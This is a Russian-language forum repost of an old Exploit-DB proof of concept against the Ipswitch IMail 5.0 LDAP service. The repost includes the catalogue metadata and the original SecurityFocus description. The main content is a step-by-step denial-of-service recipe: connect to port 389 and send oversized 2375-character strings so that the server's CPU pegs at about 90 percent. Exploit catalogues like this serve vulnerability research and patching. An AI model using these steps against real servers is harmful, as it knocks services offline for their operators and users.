Exploit Ipswitch IMail 5.0 - LDAP Buffer Overflow (Denial of Service) (PoC)

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
19378
Проверка EDB
  1. Пройдено
Автор
MARC OF EEYE
Тип уязвимости
DOS
Платформа
MULTIPLE
CVE
null
Дата публикации
1999-03-01
Ipswitch IMail 5.0 - LDAP Buffer Overflow (Denial of Service) (PoC)
Код:
source: https://www.securityfocus.com/bid/503/info

The IMail ldap service has an unchecked buffer, resulting in a classic buffer overflow vulnerability. While it does not crash the service, it drives CPU utilization up rendering the system essentially unusable.

Telnet to target machine, port 389
Send: Y glob1
hit enter twice
Server Returns: 0
Send: Y glob2
hit enter

Where glob1 and glob2 are 2375 characters and Y is Y. The ldap service goes to 90 percent or so and idles there. Therefore using up most system resources.
 
Источник
www.exploit-db.com

Похожие темы